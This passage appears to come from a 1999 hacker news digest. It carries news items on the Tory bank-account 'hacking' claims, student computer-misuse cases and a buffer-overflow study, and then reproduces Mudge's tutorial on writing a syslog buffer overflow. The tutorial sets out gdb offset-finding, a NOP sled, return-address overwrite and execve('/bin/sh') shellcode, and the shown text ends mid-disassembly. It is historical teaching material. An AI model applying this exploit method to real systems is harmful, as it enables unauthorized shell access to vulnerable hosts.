Goldberg, has released beta versions of his doctoral
thesis. The title of his thesis is "A Pseudonymous
Communications Infrastructure for the Internet" which
describes how Freedom by Zero Knowledge works.
Ian's Research Page
http://www.isaac.cs.berkeley.edu/~iang/
Zero Knowledge Systems
http://www.zeroknowledge.com/clickthrough/click.asp?partner_id=542
@HWA
20.0 ParseTV Back On the Air
~~~~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com/
contributed by ewollensky
ParseTV, the weekly hack/phreak streaming video show,
will be back on the air today (Wednesday). ParseTV
went dark several weeks ago after the show's host
Shamrock and the producer parted company. The show
returns today with a new host and several guests. The
show is scheduled to feature Dark Lord (Bruce Fancher),
who will discuss the resurrection of MindVox, Izaac
Falken, current co-host of Off The Hook, Sangfroid, who
will give out information on Krystalia's untimely passing,
and Cancer Omega, who will talk about the fine work
being done by the Attrition Staff. The web site for
ParseTV is still in a little bit of a mess and the show may
not be available for streaming live at 4pm EST but it will
definitely by archived for your viewing pleasure.
ParseTV
http://www.parsetv.com
@HWA
21.0 English Conservatives Blame Hackers
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com/
contributed by pr0file
Attempting to divert attention away from its 'foreign
donation' scandle the Conservative Party in England has
called in Scotland Yard to determine if its bank accounts
have been electronically manipulated. The party feels
that details about its bank account recently published in
the Times could have only come from 'hackers' inside
the Royal Bank of Scotland. (Must have been those evil
Hackers, couldn't have been an employee or someone
fishing your bank statements out of the trash. There is
no evidence that says otherwise so it must have been
the evil hackers.)
BBC
http://news.bbc.co.uk/hi/english/uk_politics/newsid_534000/534138.stm
Late Update: 141524NOV99EST
A much more realistic article has been publish regarding
this story.
BBC
http://news.bbc.co.uk/hi/english/uk_politics/newsid_534000/534752.stm
BBC(1);
Tories in 'foreign donation' storm
Michael Ashcroft is the party's largest donor
The Conservative Party has called in the police to investigate the alleged
hacking of its private bank accounts amid revelations about massive
donations from the party's treasurer, Michael Ashcroft.
The party denied wrongdoing over the £1m-a-year fund, channelled through
the Belize Bank Trust. It argued details in The Times proved that its
Royal Bank of Scotland accounts had been seen.
Tory Party Chairman Michael Ancram claimed a "dirty tricks" campaign
existed against Mr Ashcroft and the Conservative Party.
Although the existence of the donations had already been widely reported,
Mr Ancram said that the new details about how the money had been
transferred must have been obtained illegally.
"The information published by The Times could only have been obtained from
our confidential bank statements," he said.
"I am pretty clear in my own mind that can only have been accessed
illegally."
The Times says the donations would be in breach of proposed new rules on
the overseas funding of parties and flout a 1997 pledge from leader
William Hague to outlaw foreign donations.
The newspaper - which was already being sued for libel by Mr Ashcroft -
has also denied any wrongdoing.
Editor Peter Stothard said: "This information came in the normal course of
our inquiries. We did nothing illegal to acquire it."
Data Protection Registrar Elizabeth France said she had not yet received a
complaint asking her to investigate.
"From what I have heard so far it is very difficult to establish whether
there has been any offence at all or even any evidence that would give a
lead to an investigation," she said.
But the Conservatives, already battered by the Lord Archer controversy,
say all Mr Ashcroft's donations were made in full accordance with party
guidelines.
Mr Ashcroft is a billionaire who holds dual UK and Belize citizenship, who
lives for many months a year as in Central America. A spokesman for the
treasurer on Wednesday said he was registered in Maidenhead as an overseas
voter.
The Conservatives say he is entitled to give money to his party, even
though the donations are made via a Belize bank account.
Mr Ancram said the real story was the "politically-motivated conspiracy"
which led to the allegations.
"This appears to be but the latest of a series of dirty tricks being
perpetrated by those who will stop at nothing in order to keep this
government in power," he said in an initial statement.
"There is a climate of fear being created in Britain today. Dissidents are
being silenced. Opponents are being smeared.
"Now private bank accounts are hacked into in order to discredit and
destroy anyone who stands in the way of this government's lust for power."
The Times editor described the Conservative claim as an "extraordinary
outburst" to distract from the newspaper's story.
Labour challenged the Tories to provide evidence before insinuating any
involvement in the episode by the party.
Cabinet Office minister Ian McCartney said: "The Tory's A-Team - Archer,
Aitken and Ashcroft - show the true face of today's Tories. One's in the
doghouse, one's in the jailhouse and one's in the counting house."
The latest storm follows a long-running row about party funding in general
and particularly donations from Mr Ashcroft, the Conservative's biggest
single donor.
Lord Neill's Committee on Standards in Public Life earlier this year
recommended a ban on all overseas funding of political parties.
Legislation outlawing foreign trust donations is expected to be approved
by Parliament within the coming year.
In July, Mr Ashcroft issued a libel writ against The Times, over a series
of allegations about his business interests which were also raised in the
House of Commons.
The move came after one Labour MP used parliamentary privilege - which
allows MPs to make statements without fear of libel proceedings - to
detail allegations apparently from US
agencies' files.
BBC(2);
Inside the Tory 'hacking' claims
Net crime fears prompted bank to postpone e-banking
Stories about the alleged "hacking" into the Conservatives bank account
bring to mind images of a lone young male - probably a social misfit -
sitting in his basement, huddled over his computer.
The reality is probably somewhat more anodyne.
Think instead of a disgruntled Labour-supporting bank employee with a mean
eye for a story and you probably have something closer to the truth.
Ross Anderson, professor of computing at Cambridge University, told BBC
News Online: "Twenty years ago, if you wanted to find out the details of a
bank account you would have to get the ledger in the bank branch - which
would probably mean bribing or sleeping with the person who had the keys
to the safe.
"When the banks computerised it meant that every one of its 70,000 or so
tellers could see every customer's account.
"Insecurity of data increases with the number of people who have access to
it."
Mathew Bevan, a computer security consultant and former computer hacker,
backed Prof Anderson's theory.
"The information could have come from a call centre or from within the
bank. All banks are pretty much insecure," he told BBC News Online.
"It takes a lot of talent to hack into a bank's computer and I don't think
a hacker could be bothered without any financial reward.
"And aside from the embarrassment, it's not going to stop the Tories
winning the next election."
The Royal Bank of Scotland - where the Conservatives have their account -
said it has "complete confidence" in all its security systems.
Dr Chris Thornton, Sussex University computing science lecturer, said: "If
someone has been hacked, they usually keep it secret.
"Anyone who makes it public usually has an ulterior motive."
The Conservatives say the information could not have come from their
London headquarters.
But security consultant Matunda Nyanchama of accounting and consulting
firm Ernst & Young, said: "About 80% of risks associated with an IT
environment come from within.
"But what we find is that the clients tend to - I think, partly, because
of the press - look at these hackers out there on the internet."
Hackers have indeed proved to be a threat to large organisations.
Earlier this year internet hackers forced high street bank NatWest to
postpone ambitious plans to allow customers access to their accounts from
their home computers after it was revealed how online accounts could
easily be attacked.
Charles Herbert, NatWest online services manager, said its internet
service had been put back pending further trials of security measures,
which could include the issuing of smart cards to customers.
The problems have emerged amid concern in the computer industry that the
hackers may be exposing new security flaws as fast as the big software
companies, such as Bill Gates's Microsoft, can repair them.
The hackers are also switching tactics. Instead of attacking banks
directly - as they did in one of the few publicised cases when $400,000
(£240,000) was stolen from Citibank in America - security experts believe
they are targeting people's home computers and their personal accounts.
By leaving viruses scattered across the internet, hackers have discovered
they can seize control of home computers and steal people's legal
identities.
These can be used to attack bank accounts, lift phone records, electronic
shopping accounts and private business information.
@HWA
22.0 Canadian Student Arrested for Downloading Software
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com/
contributed by Evil Wench
A student at the Elk Island public school division east of
Edmonton in Alberta Canada has been caught "trying to
download hacking software". This article does not say if
he was successful in his attempt or what he planned to
do with the software or even what the software was.
The student was charged by the RCMP with
unauthorized use of a computer. (You seldom see
ignorance levels this high.)
Edmonton Sun - Via Lexis-Nexis
http://web.lexis-nexis.com/more/cahners-chicago/11407/5224743/4
SECTION: NEWS, Pg. 8
LENGTH: 187 words
HEADLINE: STUDENT HACKER CHARGED WITH HI-TECH VANDALISM
BODY:
An alleged hacker accused of downloading code-breaking software onto a
school computer is getting more than detention - he's been charged by
the cops.
Early in November, a teacher in the Elk Island public school division
east of Edmonton became suspicious that a student working on a school
computer was doing more than his assignment.
"It was one of those things where you walk over to the student and they
either shut down the machine or do something very quickly," said Elk Island
technology services director Edna Dach. "The teacher phoned us and we were
able to check the logs."
Dach said records showed the computer user was trying to download hacking
software which would enable him to break into the school's administrative
files.
Dach believes the student just wanted to see if he could crack the computer
system, rather than change his grades or wreak high-tech havoc.
"But it's vandalism according to our school policy," she said. "What you're
doing is, you're trying to vandalize something."
RCMP have charged the student, whose age was not released, with unauthorized
use of a computer.
@HWA
23.0 Students Questioned About SPAM
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com/
contributed by Evil Wench
Two students at Southridge High School in Beaverton
Oregon, have been accused of trying to overload the
school's computer system with junk e-mail. They have
also been accused of trying to break into the schools
computer systems. The case has been referred to the
Washington County juvenile justice department.
Yahoo News - Anyone have a better link for this?
http://dailynews.yahoo.com/headlines/local/state/oregon/story.html?s=v/rs/19991123/or/index_2.html#7
High School `Hackers' Questioned - (BEAVERTON) --
Two Southridge High School students have some explaining to do. School officials
say the pair tried to overload the schools computer system with junk e-mail. The
students also tried to hack into school files. The case has been referred to the
Washington County juvenile justice department.
@HWA
24.0 Students Fined for Unauthorized Access
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
This sounds awful familiar, but i'm not sure if its the same story
it involves some shoulder-surfing of a teacher and using the pilfered
password to gain internet access, sound familiar? how many passwords
are lost this way? same as calling card numbers at pay phones probably
anyway this is hacking? ... - Ed
From HNN http://www.hackernews.com/
contributed by Evil Wench
Four students at North View Secondary school in
Singapore have been either fined or given probation for
unauthorized Internet usage. After shoulder surfing the
password from a teacher the four students used it to
gain unauthorized access to the internet for up to five
months before discovered.
The Straits Times
http://www.straitstimes.asia1.com/cyb/cyb1_1123.html
NOV 23 1999
Teen fined for illegal Net access
STOLEN-PASSWORD CASE
A STUDENT who accessed his school's Internet
accounts by sneaking a look over the shoulder of a
computer coordinator was fined $2,000 yesterday. Tan
Koon Wei, 19, and four of his fellow students at North
View Secondary had conspired to steal the password
from computer coordinator David Chia Hock Boon in
early 1997.
His four accomplices were either fined or given
probation by the district court last month. The court
heard yesterday that of the school's three Internet
accounts, two were for students. But they had to get Mr
Chia to log on for them.
In January 1997, after the coordinator had changed the
passwords for all three accounts, Tan and his four
friends asked if he would log on for them. While Mr
Chia was keying in the password, Tan peeped over his
shoulder and memorised it.
Then, for about five months or so, Tan misused the
school accounts by using the stolen password to surf the
Internet from his home computer.
Tan's lawyer, Mr N. Deepak, said yesterday that his
client was a bright student. He asked if probation could
be considered as Tan was a first offender and had not
used the password to hack into the system.
District Judge Seng Kwang Boon said he doubted
whether probation would be appropriate under the
Misuse of Computer Act.
He fined Tan $2,000 for unauthorised use of the Internet
service, taking two other similar charges into
consideration.
Tan, who is now a polytechnic student, could have been
jailed two years on top of the fine.
In a separate case yesterday, a former project engineer
with Strategic Technologies was also fined $2,000 for
using the company's password to surf the Internet after
she was no longer its employee.
Nancy Ong, 31, now a sales and marketing manager
with another company, committed the offence between
Dec 1997 and April last year. Her lawyer, Mr Kelvin
Lim, told the court that she was a first-time offender
who had not been involved in the more serious offence
of hacking into a computer system.
He added that Ong had apologised to her former
company in April last year and offered to compensate it
for the loss, but was told by a company director that it
was a small matter.
@HWA
25.0 Buffer Overflows Called Most Common Security Hole (No shit)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
What about bad C 'coders' ? there are certain rules of thumb
when writing a secure C program especially one that interacts
with the internet populace (this includes CGI's and PERL scripts)
but people insist on ignoring them presumeably to get the code
out on the street as fast as possible, what we need is some QC
- Ed
From HNN http://www.hackernews.com/
contributed by Maggie
The Oregon Graduate Institute of Science & Technology
has released a paper, funded in part by the Defense
Advanced Research Projects Agency, entitled "Buffer
Overflows: Attacks and Defenses for the Vulnerability of
the Decade" The paper labels Buffer Overflows, the act
of feeding more information into a program than it can
handle, as the number one security threat to the
internet today. (Glad our hard earned tax dollars funded
a study that figured out what everyone already knew.)
C|Net
http://news.cnet.com/news/0-1003-200-1462855.html?tag=st.ne.1002.
Buffer Overflows: Attacks and Defenses for the Vulnerability of the Decade - PDF
http://immunix.org/StackGuard/discex00.pdf
Mudge's Breakthrough Paper on Buffer Overflows
http://www.l0pht.com/advisories/bufero.html
@HWA
C|net;
Study says "buffer overflow" is most common security bug
By Paul Festa
Staff Writer, CNET News.com
November 23, 1999, 2:25 p.m. PT
Quick: What's the computer vulnerability of the decade?
It's not the Y2K bug, according to computer science and security analysts,
but a security weakness known as the buffer overflow. Unlike the Y2K bug,
which threatens to cripple computers unable to distinguish years written
in two-digit shorthand, this vulnerability opens computers to
attacks by malicious hackers, who can use the bug to commandeer the
targeted computer.
In a buffer overflow, the attacker floods a field, typically an address
bar, with more characters than it can accommodate. The excess characters
in some cases can be run as "executable" code, effectively giving the
attacker control of the computer without being constrained by
security measures.
"Buffer overflows have been the most common form of security vulnerability
for the past 10 years," according to a new paper published by the Oregon
Graduate Institute of Science & Technology (OGI) and funded in part by the
Defense Advanced Research Projects Agency (DARPA). "Because these kinds of
attacks enable anyone to take total control of a host, they represent one
of the most serious classes of security threats."
Security analysts agree that the first step in cutting down on buffer
overflow bugs is for people to engage in more careful computer
programming.
Programmers can protect their products against buffer overflow attacks
simply by including instructions for handling overlong strings, according
to Alan Paller, director of research for the System Administration,
Networking and Security Institute (SANS).
"It all comes back to one programmer being careless," Paller said. "You
wrote a program, asked someone for input, gave them space for a certain
amount of characters, and didn't check to see if the program could
take more. You are incompetent, and you are the problem. One guy making
that mistake is creating all the work for the rest of us."
The OGI paper identified careful coding as the first line of defense
against buffer overflows, but it said that was easier said than done
considering today's programming languages and sloppy programming
culture.
"Writing correct code is a laudable but remarkably expensive proposition,
especially when writing in a language such as C that has error-prone
idioms," the authors wrote. They also cited "a culture that favors
performance over correctness."
To combat careless coding, programmers have developed debugging tools that
search out buffer overflow vulnerabilities, according to the paper. Other
defenses the paper cites prevent code from being executed in the
address space or establish boundaries that prevent excess characters from
moving to locations where they can be executed.
The paper's conclusions recommend implementing a combination of defenses
against the vulnerability.
Software vendors are ultimately responsible for the buffer overflow
problem, and customers should hold them accountable, Paller said.
"Liability goes back to [Microsoft chief executive] Bill Gates and [Sun
Microsystems chief executive] Scott McNealy," Paller said. "Until people
stop being so generous with the suppliers, this problem isn't going away."
Sun concurred that the buffer overflow problem is both common and
preventable but defended its efforts to prevent coding errors and to
respond to bugs once they come to light.
"It's quite correct that the problem stems from programming methodologies,
and in our case we have been implementing a fairly comprehensive program
to go through our software and check it out for vulnerabilities like
buffer overflows," said Tom Goguen, group manager for Sun's Solaris
Web server for commercial sites. "We're also developing tools to do some
automated checking of the software and tools to prevent any further
problems like this."
Goguen downplayed the hazard posed by most buffer overflows encountered by
Sun. He said they tended to open servers up to denial-of-service attacks,
which cause computers to crash and shut off service to users, rather than
open them up to invasion and control by the attacker.
Microsoft, which last week patched a buffer overflow issue in its Windows
operating system, was not immediately available for comment.
Part of the problem is that programmers have let down their guard against
a long-recognized hazard, according to one academic.
"We're not learning the lessons of the past," said Matt Bishop, associate
professor of computer science at the University of California at Davis and
author of an upcoming book on computer security. "We knew how to handle
buffer overflows in the 1960s and '70s. But the solutions that were
required typically either used hardware or were implemented within the
program itself. Some felt it made the program go too slow, so a lot of
programs went out there without buffer checks, and now we're paying the
price."
The OGI paper will be read at DARPA's Information Survivability Expo at
Hilton Head Island, S.C., and at the SANS 2000 event in Orlando, Fla.
The lead author for the OGI study, Crispin Cowan, in September became
chief technology officer of WireX, a server software firm that will sell
StackGuard, one of the buffer overrun solutions described in the paper.
Cowan remains a
part-time professor at OGI.
Mudge's Overflow paper
(Included since its relatively short although I realize most of you
have probably read it already you should perhaps READ IT AGAIN.)
How to write Buffer Overflows
This is really rough, and some of it is not needed. I wrote this as a
reminder note to myself as I really didn't want to look at any more AT&T
assembly again for a while and was afraid I would forget what I had done.
If you are an old assembly guru then you might scoff at some of this... oh
well, it works and that's a hack in itself.
-by mudge@l0pht.com 10/20/95
test out the program (duh).
--------syslog_test_1.c------------
#include
char buffer[4028];
void main() {
int i;
for (i=0; i<=4028; i++)
buffer[i]='A';
syslog(LOG_ERR, buffer);
}
--------end syslog_test_1.c----------
Compile the program and run it. Make sure you include the symbol table for
the debugger or not... depending upon how macho you feel today.
bash$ gcc -g buf.c -o buf
bash$ buf
Segmentation fault (core dumped)
The 'Segmentation fault (core dumped)' is what we wanted to see. This tells
us there is definately an attempt to access some memory address that we
shouldn't. If you do much in 'C' with pointers on a unix machine you have
probably seen this (or Bus error)
when pointing or dereferencing incorrectly.
Fire up gdb on the program (with or without the core file). Assuming you
remove the core file (this way you can learn a bit about gdb), the steps
would be as follows:
bash$ gdb buf
(gdb) run
Starting program: /usr2/home/syslog/buf
Program received signal 11, Segmentation fault
0x1273 in vsyslog (0x41414141, 0x41414141, 0x41414141, 0x41414141)
Ok, this is good. The 41's you see are the hex equivallent for the ascii
character 'A'. We are definately going places where we shouldn't be.
(gdb) info all-registers
eax 0xefbfd641 -272640447
ecx 0x00000000 0
edx 0xefbfd67c -272640388
ebx 0xefbfe000 -272637952
esp 0xefbfd238 0xefbfd238
ebp 0xefbfde68 0xefbfde68
esi 0xefbfd684 -272640380
edi 0x0000cce8 52456
eip 0x00001273 0x1273
ps 0x00010212 66066
cs 0x0000001f 31
ss 0x00000027 39
ds 0x00000027 39
es 0x00000027 39
fs 0x00000027 39
gs 0x00000027 39
The gdb command 'info all-registers' shows the values in the current
hardware registers. The one we are really interested in is 'eip'. On
some platforms this will be called 'ip' or 'pc'. It is the Instruction
Pointer [also called Program Counter]. It points to the memory location
of the next instruction the processor will execute. By overwriting this
you can point to the beginning of your own code and the processor will
merrily start executing it assuming you have it written as native opcodes
and operands.
In the above we haven't gotten exactly where we need to be yet. If you
want to see where it crashed out do the following:
(gdb) disassemble 0x1273
[stuff deleted]
0x1267 : incl 0xfffff3dc(%ebp)
0x126d : testb %al,%al
0x126f : jne 0x125c
0x1271 : jmp 0x1276
0x1273 : movb %al,(%ebx)
0x1275 : incl %ebx
0x1276 : incl %edi
0x1277 : movb (%edi),%al
0x1279 : testb %al,%al
If you are familiar with microsoft assembler this will be a bit backwards
to you. For example: in microsoft you would 'mov ax,cx' to move cx to ax.
In AT&T 'mov ax,cx' moves ax to cx. So put on those warp refraction eye-goggles
and on we go.
Note also that Intel assembler
let's go back and tweak the original source code some eh?
-------------syslog_test_2.c-------------
#include
char buffer[4028];
void main() {
int i;
for (i=0; i<2024; i++)
buffer[i]='A';
syslog(LOG_ERR, buffer);
}
-----------end syslog_test_2.c-------------
We're just shortening the length of 'A''s.
bash$ gcc -g buf.c -o buf
bash$ gdb buf
(gdb) run
Starting program: /usr2/home/syslog/buf
Program received signal 5, Trace/BPT trap
0x1001 in ?? (Error accessing memory address 0x41414149: Cannot
allocate memory.
This is the magic response we've been looking for.
(gdb) info all-registers
eax 0xffffffff -1
ecx 0x00000000 0
edx 0x00000008 8
ebx 0xefbfdeb4 -272638284
esp 0xefbfde70 0xefbfde70
ebp 0x41414141 0x41414141 <- here it is!!!
esi 0xefbfdec0 -272638272
edi 0xefbfdeb8 -272638280
eip 0x00001001 0x1001
ps 0x00000246 582
cs 0x0000001f 31
ss 0x00000027 39
ds 0x00000027 39
es 0x00000027 39
fs 0x00000027 39
gs 0x00000027 39
Now we move it along until we figure out where eip lives in the overflow
(which is right after ebp in this arch architecture). With that known fact
we only have to add 4 more bytes to our buffer of 'A''s and we will overwrite
eip completely.
---------syslog_test_3.c----------------
#include
char buffer[4028];
void main() {
int i;
for (i=0; i<2028; i++)
buffer[i]='A';
syslog(LOG_ERR, buffer);
}
-------end syslog_test_3.c------------
bash$ !gc
gcc -g buf.c -o buf
bash$ gdb buf
(gdb) run
Starting program: /usr2/home/syslog/buf
Program received signal 11, Segmentation fault
0x41414141 in errno (Error accessing memory address
0x41414149: Cannot allocate memory.
(gdb) info all-registers
eax 0xffffffff -1
ecx 0x00000000 0
edx 0x00000008 8
ebx 0xefbfdeb4 -272638284
esp 0xefbfde70 0xefbfde70
ebp 0x41414141 0x41414141
esi 0xefbfdec0 -272638272
edi 0xefbfdeb8 -272638280
eip 0x41414141 0x41414141
ps 0x00010246 66118
cs 0x0000001f 31
ss 0x00000027 39
ds 0x00000027 39
es 0x00000027 39
fs 0x00000027 39
gs 0x00000027 39
BINGO!!!
Here's where it starts to get interesting. Now that we know eip starts at
buffer[2024] and goes through buffer[2027] we can load it up with whatever
we need. The question is... what do we need?
We find this by looking at the contents of buffer[].
(gdb) disassemble buffer
[stuff deleted]
0xc738 : incl %ecx
0xc739 : incl %ecx
0xc73a : incl %ecx
0xc73b : incl %ecx
0xc73c : addb %al,(%eax)
0xc73e : addb %al,(%eax)
0xc740 : addb %al,(%eax)
[stuff deleted]
On the Intel x86 architecture [a pentium here but that doesn't matter]
incl %eax is opcode 0100 0001 or 41hex. addb %al,(%eax) is 0000 0000 or
0x0 hex. We will load up buffer[2024] to buffer[2027] with the address of
0xc73c where we will start our code. You have two options here, one is to
load the buffer up with the opcodes and operands and point the eip back
into the buffer; the other option is what we are going to be doing which
is to put the opcodes and operands after the eip and point to them.
The advantage to putting the code inside the buffer is that other than the
ebp and eip registers you don't clobber anything else. The disadvantage is
that you will need to do trickier coding (and actually write the assembly
yourself) so that there are no bytes that contain 0x0 which will
look like a null in the string. This will require you to know enough about
the native chip architecture and opcodes to do this [easy enough for some
people on Intel x86's but what happens when you run into an Alpha? --
lucky for us there is a gdb for Alpha I think ;-)].
The advantage to putting the code after the eip is that you don't have to
worry about bytes containing 0x0 in them. This way you can write whatever
program you want to execute in 'C' and have gdb generate most of the
machine code for you. The disadvantage is that you are overwriting
the great unknown. In most cases the section you start to overwrite here
contains your environment variables and other whatnots.... upon
succesfully running your created code you might be dropped back into a big
void. Deal with it.
The safest instruction is NOP which is a benign no-operation. This is what
you will probably be loading the buffer up with as filler.
Ahhh but what if you don't know what the opcodes are for the particular
architecture you are on. No problem. gcc has a wonderfull function called
__asm__(char *); I rely upon this heavily for doing buffer overflows on
architectures that I don't have assembler
books for.
------nop.c--------
void main(){
__asm__("nop\n");
}
----end nop.c------
bash$ gcc -g nop.c -o nop
bash$ gdb nop
(gdb) disassemble main
Dump of assembler code for function main:
to 0x1088:
0x1080 : pushl %ebp
0x1081 : movl %esp,%ebp
0x1083 : nop
0x1084 : leave
0x1085 : ret
0x1086 : addb %al,(%eax)
End of assembler dump.
(gdb) x/bx 0x1083
0x1083 : 0x90
Since nop is at 0x1083 and the next instruction is at 0x1084 we know that
nop only takes up one byte. Examining that byte shows us that it is 0x90
(hex).
Our program now looks like this:
------ syslog_test_4.c---------
#include
char buffer[4028];
void main() {
int i;
for (i=0; i<2024; i++)
buffer[i]=0x90;
i=2024;
buffer[i++]=0x3c;
buffer[i++]=0xc7;
buffer[i++]=0x00;
buffer[i++]=0x00;
syslog(LOG_ERR, buffer);
}
------end syslog_test_4.c-------
Notice you need to load the eip backwards ie 0000c73c is loaded into the buffer as
3c c7 00 00.
Now the question we have is what is the code we insert from here on?
Suppose we want to run /bin/sh? Gee, I don't have a friggin clue as to why someone
would want to do something like this, but I hear there are a lot of nasty people out
there. Oh well. Here's the proggie we want to execute in C code:
------execute.c--------
#include
main()
{
char *name[2];
name[0] = "sh";
name[1] = NULL;
execve("/bin/sh",name,NULL);
}
----end execute.c-------
bash$ gcc -g execute.c -o execute
bash$ execute
$
Ok, the program works. Then again, if you couldn't whip up that little
prog you should probably throw in the towel here. Maybe become a
webmaster or something that requires little to no programming (or
brainwave activity period). Here's the gdb scoop:
bash$ gdb execute
(gdb) disassemble main
Dump of assembler code for function main:
to 0x10b8:
0x1088 : pushl %ebp
0x1089 : movl %esp,%ebp
0x108b : subl $0x8,%esp
0x108e : movl $0x1080,0xfffffff8(%ebp)
0x1095 : movl $0x0,0xfffffffc(%ebp)
0x109c : pushl $0x0
0x109e : leal 0xfffffff8(%ebp),%eax
0x10a1 : pushl %eax
0x10a2 : pushl $0x1083
0x10a7 : call 0x10b8
0x10ac : leave
0x10ad : ret
0x10ae : addb %al,(%eax)
0x10b0 : jmp 0x1140
0x10b5 : addb %al,(%eax)
0x10b7 : addb %cl,0x3b05(%ebp)
End of assembler dump.
(gdb) disassemble execve
Dump of assembler code for function execve:
to 0x10c8:
0x10b8 : leal 0x3b,%eax
0x10be : lcall 0x7,0x0
0x10c5 : jb 0x10b0
0x10c7 : ret
End of assembler dump.
This is the assembly behind what our execute program does to run /bin/sh.
We use execve() as it is a system call and this is what we are going to
have our program execute (ie let the kernel service run it as opposed to
having to write it from scratch).
0x1083 contains the /bin/sh string and is the last thing pushed onto the
stack before the call to execve.
(gdb) x/10bc 0x1083
0x1083 : 47 '/' 98 'b' 105 'i' 110 'n' 47 '/' 115 's'
104 'h' 0 '\000'
(0x1080 contains the arguments...which I haven't been able to really
clean up).
We will replace this address with the one where our string lives [when we
decide where that will be].
Here's the skeleton we will use from the execve disassembly:
[main]
0x108d : movl %esp,%ebp
0x108e : movl $0x1083,0xfffffff8(%ebp)
0x1095 : movl $0x0,0xfffffffc(%ebp)
0x109c : pushl $0x0
0x109e : leal 0xfffffff8(%ebp),%eax
0x10a1 : pushl %eax
0x10a2 : pushl $0x1080
[execve]
0x10b8 : leal 0x3b,%eax
0x10be : lcall 0x7,0x0
All you need to do from here is to build up a bit of an environment for the
program. Some of this stuff isn't necesary but I have it in still as I haven't
fine tuned this yet.
I clean up eax. I don't remember why I do this and it shouldn't really be
necesarry. Hell, better quit hitting the sauce. I'll figure out if it is after
I tune this up a bit.
xorl %eax,%eax
We will encapsulate the actuall program with a jmp to somewhere and a call
right back to the instruction after the jmp. This pushes ecx and esi onto the stack.
jmp 0x???? # this will jump to the call...
popl %esi
popl %ecx
The call back will be something like:
call 0x???? # this will point to the instruction after the jmp (ie
# popl %esi)
All put together it looks like this now:
----------------------------------------------------------------------
movl %esp,%ebp
xorl %eax,%eax
jmp 0x???? # we don't know where yet...
# -------------[main]
movl $0x????,0xfffffff8(%ebp) # we don't know what the address will
# be yet.
movl $0x0,0xfffffffc(%ebp)
pushl $0x0
leal 0xfffffff8(%ebp),%eax
pushl %eax
pushl $0x???? # we don't know what the address will
# be yet.
# ------------[execve]
leal 0x3b,%eax
lcall 0x7,0x0
call 0x???? # we don't know where yet...
----------------------------------------------------------------------
There are only a couple of more things that we need to add before we fill
in the addresses to a couple of the instructions.
Since we aren't actually calling execve with a 'call' anymore here, we need
to push the value in ecx onto the stack to simulate it.
# ------------[execve]
pushl %ecx
leal 0x3b,%eax
lcall 0x7,0x0
The only other thing is to not pass in the arguments to /bin/sh. We do this
by changing the ' leal 0xfffffff8(%ebp),%eax' to ' leal 0xfffffffc(%ebp),%eax'
[remember 0x0 was moved there].
So the whole thing looks like this (without knowing the addresses for the
'/bin/sh\0' string):
movl %esp,%ebp
xorl %eax,%eax # we added this
jmp 0x???? # we added this
popl %esi # we added this
popl %ecx # we added this
movl $0x????,0xfffffff5(%ebp)
movl $0x0,0xfffffffc(%ebp)
pushl $0x0
leal 0xfffffffc(%ebp),%eax # we changed this
pushl %eax
pushl $0x????
leal 0x3b,%eax
pushl %ecx # we added this
lcall 0x7,0x0
call 0x???? # we added this
To figure out the bytes to load up our buffer with for the parts that were
already there run gdb on the execute program.
bash$ gdb execute
(gdb) disassemble main
Dump of assembler code for function main:
to 0x10bc:
0x108c : pushl %ebp
0x108d : movl %esp,%ebp
0x108f : subl $0x8,%esp
0x1092 : movl $0x1080,0xfffffff8(%ebp)
0x1099 : movl $0x0,0xfffffffc(%ebp)
0x10a0 : pushl $0x0
0x10a2 : leal 0xfffffff8(%ebp),%eax
0x10a5 : pushl %eax
0x10a6 : pushl $0x1083
0x10ab : call 0x10bc
0x10b0 : leave
0x10b1 : ret
0x10b2 : addb %al,(%eax)
0x10b4 : jmp 0x1144
0x10b9 : addb %al,(%eax)
0x10bb : addb %cl,0x3b05(%ebp)
End of assembler dump.
[get out your scratch paper for this one... ]
0x108d : movl %esp,%ebp
this goes from 0x108d to 0x108e. 0x108f starts the next instruction.
thus we can see the machine code with gdb like this.
(gdb) x/2bx 0x108d
0x108d : 0x89 0xe5
Now we know that buffer[2028]=0x89 and buffer[2029]=0xe5. Do this for all
of the instructions that we are pulling out of the execute program. You
can figure out the basic structure for the call command by looking at
the one inexecute that calls execve. Of course you will eventually need
to put in the proper address.
When I work this out I break down the whole program so I can see what's
going on. Something like the following
0x108c : pushl %ebp
0x108d : movl %esp,%ebp
0x108f : subl $0x8,%esp
(gdb) x/bx 0x108c
0x108c : 0x55
(gdb) x/bx 0x108d
0x108d : 0x89
(gdb) x/bx 0x108e
0x108e : 0xe5
(gdb) x/bx 0x108e
0x108f : 0x83
so we see the following from this:
0x55 pushl %ebp
0x89 movl %esp,%ebp
0xe5
0x83 subl $0x8,%esp
etc. etc. etc.
For commands that you don't know the opcodes to you can find them out for
the particular chip you are on by writing little scratch programs.
----pop.c-------
void main() {
__asm__("popl %esi\n");
}
---end pop.c----
bash$ gcc -g pop.c -o pop
bash$ gdb pop
(gdb) disassemble main
Dump of assembler code for function main:
to 0x1088:
0x1080 : pushl %ebp
0x1081 : movl %esp,%ebp
0x1083 : popl %esi
0x1084 : leave
0x1085 : ret
0x1086 : addb %al,(%eax)
End of assembler dump.
(gdb) x/bx 0x1083
0x1083 : 0x5e
So, 0x5e is popl %esi. You get the idea. After you have gotten this far build
the string up (put in bogus addresses for the ones you don't know in the jmp's
and call's... just so long as we have the right amount of space being taken up
by the jmp and call instructions... likewise for the movl's where we will need
to know the memory location of 'sh\0\0/bin/sh\0'.
After you have built up the string, tack on the chars for sh\0\0/bin/sh\0.
Compile the program and load it into gdb. Before you run it in gdb set a break
point for the syslog call.
(gdb) break syslog
Breakpoint 1 at 0x1463
(gdb) run
Starting program: /usr2/home/syslog/buf
Breakpoint 1, 0x1463 in syslog (0x00000003, 0x0000bf50, 0x0000082c,
0xefbfdeac)
(gdb) disassemble 0xc73c 0xc77f
(we know it will start at 0xc73c since thats right after the
eip overflow... 0xc77f is just an educated guess as to where
it will end)
(gdb) disassemble 0xc73c 0xc77f
Dump of assembler code from 0xc73c to 0xc77f:
